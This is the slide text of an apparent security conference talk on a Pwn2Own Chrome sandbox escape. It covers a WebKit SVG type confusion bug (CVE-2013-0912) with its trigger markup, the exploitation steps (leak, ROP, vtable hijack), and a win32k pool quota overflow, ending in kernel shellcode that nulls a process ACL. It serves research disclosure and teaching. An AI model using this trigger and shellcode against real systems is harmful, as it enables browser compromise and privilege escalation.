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Introduction 

Nils Jon 

• Head of Research 

• MWR since 2009 

• Previous research 

• Android 

• Payment terminals 

• Security Researcher and Senior 

Consultant 

• Previous research 

• Reverse engineering 

• Exploitation 
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Google Chrome 
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Google Chrome 

• Widely considered to be the most secure web browser available 

• Designed from the ground up with security in mind 

• Lots of security work ongoing 

– Code reviews 

– Fuzzing (own code & 3rd party) 
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Google Chrome – Renderer 

• Used to use WebKit 

– Fast, but patchy code base 

– Multiple authors, varying code quality 

– Since forked by Google and renamed to Blink 

• Deals directly with attacker controlled, untrusted input 

– Popular entry point for previously disclosed browser bugs 
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Google Chrome – Sandbox Protections 

• “High-risk” renderer component sandboxed 

– Restricted Windows security token 

– Runs under restrictive job object 

– Windows on alternate desktop 

– Renderers run as “untrusted” IL (Vista and later) 

• Communicates with sensitive broker process via IPC 

– Much less attack surface 
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Google Chrome – Sandbox Protections 

• Restricted renderer processes cannot perform all required actions 

• Privileged actions carried out by the browser process 

• Renderer requests are evaluated against a policy 

• If granted, browser performs the privileged action 
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Google Chrome – Hypothetical Sandbox Bypass 

• At least two vulnerabilities required to gain privileged code 

execution 

– One in the unprivileged renderer / plugin process 

• Large attack surface, deals directly with untrusted input 

– One to break out of the sandbox 

• Much more limited attack surface 
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Pwn2Own Vulnerabilities 
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WebKit 

• Conducted source code review 

– Bug found approximately 6 weeks after starting 

– Mostly gaining familiarity with a new, large codebase 

• Specifically looking at interaction between complex features 

– May lead to type confusion bugs 
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Type Confusion Vulnerabilities 

• Class of vulnerability involving invalid casts of objects 

• Object of one class is created, and cast to a different class 

• Layout of the two classes differs, results in undefined behaviour 

– Usually results in code execution 

• C++ casts handled using templates 

– cast_type<NewClass>(OldClassInstance) 
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Explicit Type Casting 

• const_cast 

– Toggles the “const” property for a class, no cast 

• static_cast 

– Casts an object to it’s base or derived class 

• dynamic_cast 

– Casts a base class to one of it’s derived classes 

– Operates on pointers or references to objects 

– Requires RTTI 
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Explicit Type Casting 

• reinterpret_cast 

– Casts anything to anything! 

– E.g. Interpret an array of chars as a Bitmap object 

• C-style casts 

– Tries multiple casts until one succeeds! 

• const_cast 

• static_cast 

• static_cast followed by const_cast 

• reinterpret_cast 

• reinterpret_cast followed by const_cast 
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Type Confusion Vulnerabilities 

• General rule: If cast can happen, it will 

• Checks should be done before casting 

• Looking for casts with missing or incomplete checks 
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Type Confusion Vulnerabilities 

• WebKit has common functions for checks before casts of document 

elements 

• Objects are aware of certain properties 

– localName 

• The name of the tag, e.g. div 

– namespaceURI 

• The namespace of the object, e.g. SVG 

• namespaceURI + localName = QualifiedName 

• Only one valid class for a given QualifiedName 
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Type Confusion Vulnerabilities 

• 3 common check patterns 

– hasTagName(QualifiedName) 

– hasLocalName(QualifiedName) 

– Manual checks 

• Tag.localName == tag 

• Tag.namespaceURI == namespace 



Labs.mwrinfosecurity.com  |  © MWR Labs 18  

Public 

EXTERNAL 

hasTagName 

• Safe check 

• Checks both the namespaceURI and localName of a tag 

 
if (node->hasTagName(inputTag)) 

    HTMLInputElement* input = static_cast<HTMLInputElement*>(node); 
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hasLocalName 

• Unsafe check 

• Only checks the localName of a tag, not the namespaceURI 

 

CVE-2013-2839 – Chrome (V8Clipboard::setDragImageMethodCustom) 

if (toElement(node)->hasLocalName(HTMLNames::imgTag) 

 clipboard->setDragImage(static_cast<HTMLImageElement*>(node)); 
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Manual Checks 

• Safety depends on usage 

• Generally, not using hasTagName implies incomplete checking or lack 

of code familiarity 

– Both good indicators of potential bugs 
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Methodology 

• Select a sub-component of the target software 

– WebKit, minus non-default features e.g. accessibility 

• Understand what methods WebKit provides for checking cast validity 

• Audit all identified casts for safety 
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CVE-2013-0912 

return static_cast<SVGElement*>(m_contextElement->treeScope()->getElementById(m_viewTargetString)); 

 

• Format’s the current SVG document as a tree (DOM) 

• Selects an element from the DOM using an ID 

– ID provided as the “viewTarget” attribute of the SVG document 
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CVE-2013-0912 

return static_cast<SVGElement*>(m_contextElement->treeScope()->getElementById(m_viewTargetString)); 

 

• Selected element is cast to an SVG element 

–No checks 

• Assumption is that the element is SVG 

• Doesn’t account for non-SVG objects embedded in e.g. foreignObject 

tag 
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CVE-2013-0912 - Trigger 

<svg xmlns="http://www.w3.org/2000/svg"> 

  <foreignobject x="10" y="10" width="100" height="150"> 

    <body xmlns="http://www.w3.org/1999/xhtml"> 

      <feColorMatrix id="viewTarget"></feColorMatrix> 

    </body> 

  </foreignobject> 

</svg> 

 

• On construction, viewTarget is an HTMLUnknownElement 

• After casting, it is interpreted as an SVGFeColorMatrixElement  
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Sidenote: V8 Reference Caching 

• Bug wouldn’t trigger if the SVG document was created dynamically 

• V8 caches object references on object creation 

• Retrieving the “viewTarget” of an identical, dynamically created SVG 

document returns a reference to an HTML element 

• Makes fuzzing these bugs tricky 
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Demo 
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Exploitation 

• Place an object containing important information adjacent to the 

“confused” object 

– Read a pointer in the object to bypass ASLR 

– Corrupt the state of the object to read / write arbitrary memory 

– Corrupt the virtual function table pointer to gain code execution 

• No crash if we’re careful, so we can trigger multiple times 
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Exploitation Steps 

1. Read a pointer from an adjacent object 

2. Read backwards in memory to base address 

3. Read memory of chrome DLL 

4. Dynamically calculate ROP chain 

5. Overwrite virtual function table pointer 
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Leaking A Pointer 

• We can manipulate the heap using JavaScript 

• Aim to place an object next to our “confused” object 

– Leak the vtable pointer, from chrome.dll 

• Want to avoid heap spraying 

• Few allocations, check for success 
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Problem – Is It A Div? 

• We can check if the value we leak is sane 

– Above the minimum load address, less than kernel space 

• How can we be sure it’s not a pointer to something else? 
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Solution 

• See what else in the object we can leak… 

• For a div, we can leak the lastChild pointer 

• Should be blank for one we just created 

– Add a child to the divs and check that this value changes 

• BONUS: The lastChild value is a pointer to the new child object 

– Store that for later… 
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Calculate The Base Address 

• We have a pointer in chrome.dll 

• We could subtract a static value to determine the library’s base 

– That would be amateur  

• Find a “confused” object with a vector property 

• Manipulate the adjacent memory to place that vector over a 

specific, page-aligned memory region 

• Read the first two bytes of each page to detect the “MZ” header 
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Disclose The Contents Of Chrome.dll 

• We have the base address of chrome.dll 

• Set up the adjacent memory to place a vector over the .text 

segment of chrome.dll 

• Read in the bytes 

– Approx. 40Mb 
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Problem – Floats 

• The vectors we found only contained float values 

• Interpreting arbitrary hex bytes as floats is error-prone 

• Converting floats back to their hexadecimal representation in 

JavaScript is non-trivial 
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Solution 

• Finally, a practical use for HTML5! 

• Create an ArrayBuffer, and two views over it 

• One Uint32ArrayBuffer, one Float32ArrayBuffer 

• Assign floats to the Float view, retrieve them with the Uint32 view 

• Assume null when ambiguous float values are encountered 

– +-Infinity, +-NaN 
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Dynamically Calculate ROP Gadgets 

• We could add static offsets for ROP gadgets 

– Again, amateur! 

• Take the bytes of chrome.dll’s .text segment 

• Use native JavaScript string functions to find byte patterns 

dynamically 

– Very fast, 100,000 gadgets in under a second 

• Store the result at the pointer we leaked from the div earlier 
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Controlling a VTable Pointer 

• We have our dynamic ROP chain, and we know where it is in 

memory 

• Now to hijack the flow of execution 

– Simplest stage by far 

• Manipulate the adjacent memory to our “confused” object 

• Point one of the vtables to our ROP chain 

– Adjust for the offset being called from the vtable 

• Voilà! 
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ROP Chain 

• Despite the fairly intricate gadget finding, we only ended up 

needing a small number 

– Stack pivots 

• Ended up needing two due to memory layout 

– Allocated some RWX memory 

– Copied in the bytes for the remaining gadgets, as well as the 

kernel shellcode 
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Code Execution! 
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We are still in the Sandbox 

• We execute arbitrary instructions 

• Three options: 

 
Chrome Applications Kernel 
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Chrome 

• Chrome browser process 

– Supports the render 

• Extensive amount of communication to Renderer 

• All implemented in native code 

• Other people took this route before 

• We considered it 

– Jon was code reviewing again 
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Chrome? 

• Proactive about security… 
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Chrome? 

• Proactive about security… 
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Applications 

• Windows Messaging 

– Extensive Comms between Applications 

• Shatter attacks anyone? 

– Get Admin/System 

• Similar use in Sandbox breakout 

• Chrome protects against this 

– Alternative Desktop 
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Kernel 

• Huge attack surface 

– Core kernel 

• 450 system calls 

– Win32k.sys – Graphical subsystem 

• >900 system calls 

• Incredibly complex, e.g.: 

– Font parsing in the kernel 

– Kernel mode callbacks 
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Kernel 

• Reverse engineering? 
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Kernel 

• Fuzzing 

• “Doesn’t Microsoft use Fuzzing?” 

• A lot of presentations 

– Font fuzzers 

– System call fuzzers 

• So is it even worth trying? 
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Kernel - Fuzzing 

“Secret” about fuzzing: 

 

 

 
For any reasonably complex application 

your Fuzzer can’t be complex enough 
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Kernel - Fuzzing 

If your Fuzzer stops finding vulnerabilities: 

 

 

 
1. You found all the bugs 

 

2. Your current Fuzzer needs improving 
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Kernel - Fuzzing 

• Let’s look at system calls 

• Previous attempts 

– Focus on single system calls 

• NtSystemCall(“aaaaaa”, “x”, 0xffffffff); 

– Not series of calls 
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Kernel - Fuzzing 

• We just have to have a more complex Fuzzer 

• A few ideas 

– Creating valid Menu structures 

– User mode callback hooking 

– Knowledge about arguments 

– Everything is a Handle 

– HMENU, HFONT, HCURSOR, HWND 
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Kernel - Fuzzing 
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Kernel – Fuzzing Results 
Jazz 

Hands! 
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Kernel - Fuzzing 

• Automation Tricky 

– Important 

– VM’s with Snapshots 

• Reproducibility 

– Logging 

• Extremely slow 

– We worked from crash dumps 
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Kernel – The vulnerability 

• Crash dump: 

 

 
nt!ExpReleasePoolQuota+0x21: 

82aca424 8a07            mov     al,byte ptr [edi]            ds:0023:00410041=?? 

 

00000008 ffb80530 00000000 nt!ExpReleasePoolQuota+0x21 

fd6b7168 00000000 ffb80530 nt!ExFreePoolWithTag+0x779 

ffb80530 00000000 2ba8aa2a win32k!UnlinkSendListSms+0x70 

00243c78 0000000d 00000008 win32k!xxxInterSendMsgEx+0xd0a 

fe243c78 0000000d 00000008 win32k!xxxSendMessageTimeout+0x13b 

fe243c78 0000000d 00000008 win32k!xxxSendMessageEx+0xec 

fe243c78 0000000d 00000008 win32k!NtUserfnOUTSTRING+0xa7 

0001037c 0000000d 00000008 win32k!NtUserMessageCall+0xc9 

0001037c 0000000d 00000008 nt!KiFastCallEntry+0x12a 
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Kernel – The vulnerability 

• System call to trigger crash: 

 

NtUserMessageCall(HWND, 

             WM_GETTEXT, 

             0x8,  // Buffer size in kernel ! 

             ptr,  // user mode 

                                  0x0, 

                                  0x2b3, 

              0x2);  // ASCII boolean/flag 
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Kernel – The vulnerability 

• Requirements for trigger 

– Message to be send between threads 

• ASCII window object as receiving thread (HWND) 

– ASCII boolean value has to be even (not 0x0) 

– WM_GETTEXT response larger than (size/2) 
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Kernel – The vulnerability 

• The allocation: 

 

 

 

 

• Algorithm to figure out buffer allocation 

– Based on message type and window types 

– Fairly complex 

• Last argument for Message sending treated as Boolean! 

win32k!xxxInterSendMsgEx 

win32k!xxxSendMessageTimeout+0x13b 

win32k!xxxSendMessageEx+0xec 

win32k!NtUserfnOUTSTRING+0xa7 

win32k!NtUserMessageCall+0xc9 
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Kernel – The vulnerability 
• The copy operation: 

 

 

 

 

 

 

• Algorithm to figure out copy type 

• Last argument for Message sending treated as FLAG! 

– 0x0 = strncpycch 

– 0x1 = MBToWCSEx 

– 0x2 = strncpycch  … 

 

win32k!CopyOutputString 

win32k!SfnOUTSTRING+0x336 

win32k!xxxSendMessageToClient+0x175 

win32k!xxxReceiveMessage+0x3b8 

win32k!xxxRealInternalGetMessage+0x252 

win32k!NtUserGetMessage+0x3f 
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Pool Allocator with Quota Overflow Exploitation 

• Buffer layout: 

 

 

 

 

 

• Blocks 16 byte aligned (without Meta and TAG) 

Meta TAG Data 
EPROCESS 

PTR 
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Pool Allocator with Quota Overflow Exploitation 

• Buffer layout: 

 

 

 

 

 

• We control the allocation size 

• Buffer write will be (2*size) 

– ASCII to Widechar conversion 

Meta TAG Data 
EPROCESS

PTR 
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Pool Allocator with Quota Overflow Exploitation 

• Buffer layout: 

 

 

 

 

 

• Good buffer size: 8 

• data + quota ptr  = 12 + 4 byte padding = 16 (aligned) 

• Overwrite (2*size): corrupt padding and quota ptr (no further heap 
corruption) 

Meta TAG Data 
EPROCESS

PTR 
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Pool Allocator with Quota Overflow Exploitation 

• Buffer layout: 

 

 

 

 

 

• We are limited to ASCII (not UTF8) -> Widechar 

• Quota ptr can be 0x00xx00yy 

• Fake Quota structure in user mode 

Meta TAG 
00aa00aa00aa00aa 

00aa00aa00aa00aa 

 
00xx00yy 
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Quota Process Overwrite Exploitations 

• See “Kernel Pool Exploitation on Windows 7”, Tarjei Mandt 

• Place in user mode: 
 

 

kd> dt ntkrpamp!_EPROCESS 

   ... 

   +0x0d4 QuotaBlock       : Ptr32 _EPROCESS_QUOTA_BLOCK 

   ... 
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Quota Process Overwrite Exploitations 

EPROCESS points to: 

typedef struct _EPROCESS_QUOTA_BLOCK { 

    EPROCESS_QUOTA_ENTRY    QuotaEntry[3]; 

    LIST_ENTRY              QuotaList; 

    ULONG                   ReferenceCount; 

    ULONG                   ProcessCount; 

} EPROCESS_QUOTA_BLOCK, *PEPROCESS_QUOTA_BLOCK; 
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Kernel - Exploitation 

• We could have _EPROCESS_QUOTA_BLOCK in user mode 

• ReferenceCount or ProcessCount are decremented on free 

• If either == 0 we get code execution 

• However this won’t be in the context of the syscall 

– Painful to exploit 

 

• What can we decrement in kernel mode? 
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Quota Process Overwrite Exploitations 
kd> dt win32k!tagWND 

   +0x000 head             : _THRDESKHEAD 

   +0x014 state            : Uint4B 

   +0x014 bHasMeun         : Pos 0, 1 Bit   ... 

   +0x014 bServerSideWindowProc : Pos 18, 1 Bit 

   +0x014 bAnsiWindowProc  : Pos 19, 1 Bit 

   +0x014 bBeingActivated  : Pos 20, 1 Bit 

   ... 

   +0x014 bMaximizesToMonitor : Pos 30, 1 Bit 

   +0x014 bDestroyed       : Pos 31, 1 Bit 

   ... 

   +0x060 lpfnWndProc      : Ptr32     long  

   ... 
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Kernel - Exploitation 

• Create a new Window 

• Specify custom user mode window procedure 

• Get window kernel address through shared table in GDI 

• Point EPROCESS_QUOTA_BLOCK to state of window object 

• Trigger exploit a few times (100% reliable) 

 

• => bServerSideWindowProc will be True  
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Kernel - Exploitation 

• The Window procedure: 

  WORD um=0; 

 __asm { 

  mov ax, cs 

  mov um, ax 

 } 

 if(um == 0x1b) { 

  // USER MODE 

 } else { 

  // KERNEL MODE CODE EXECUTION 
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Kernel - Exploitation 

• "Easy local Windows Kernel exploitation" by Cesar Cerrudo 

– Nulling out ACLs 

• Ended up nulling ACL of winlogon.exe 

– System Process 

– User Desktop 

• Then CreateRemoteThread into winlogon.exe 
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Kernel - Shellcode 
 mov eax, hwnd // WND 

 mov eax, [eax+8] // THREADINFO 

 mov eax, [eax] // ETHREAD 

 mov eax, [eax+0x150] // KPROCESS 

 mov eax, [eax+0xb8] // flink 

 procloop: 

 lea edx, [eax-0xb8] // KPROCESS 

 mov eax, [eax] 

 add edx, 0x16c // module name 

 cmp dword ptr [edx], 0x6c707865 // expl for explorer.exe 

 jne procloop 

 sub edx, 0x170 

 mov dword ptr [edx], 0x0 // NULL ACL 
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Demo 
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Thanks For Listening 

Questions? 


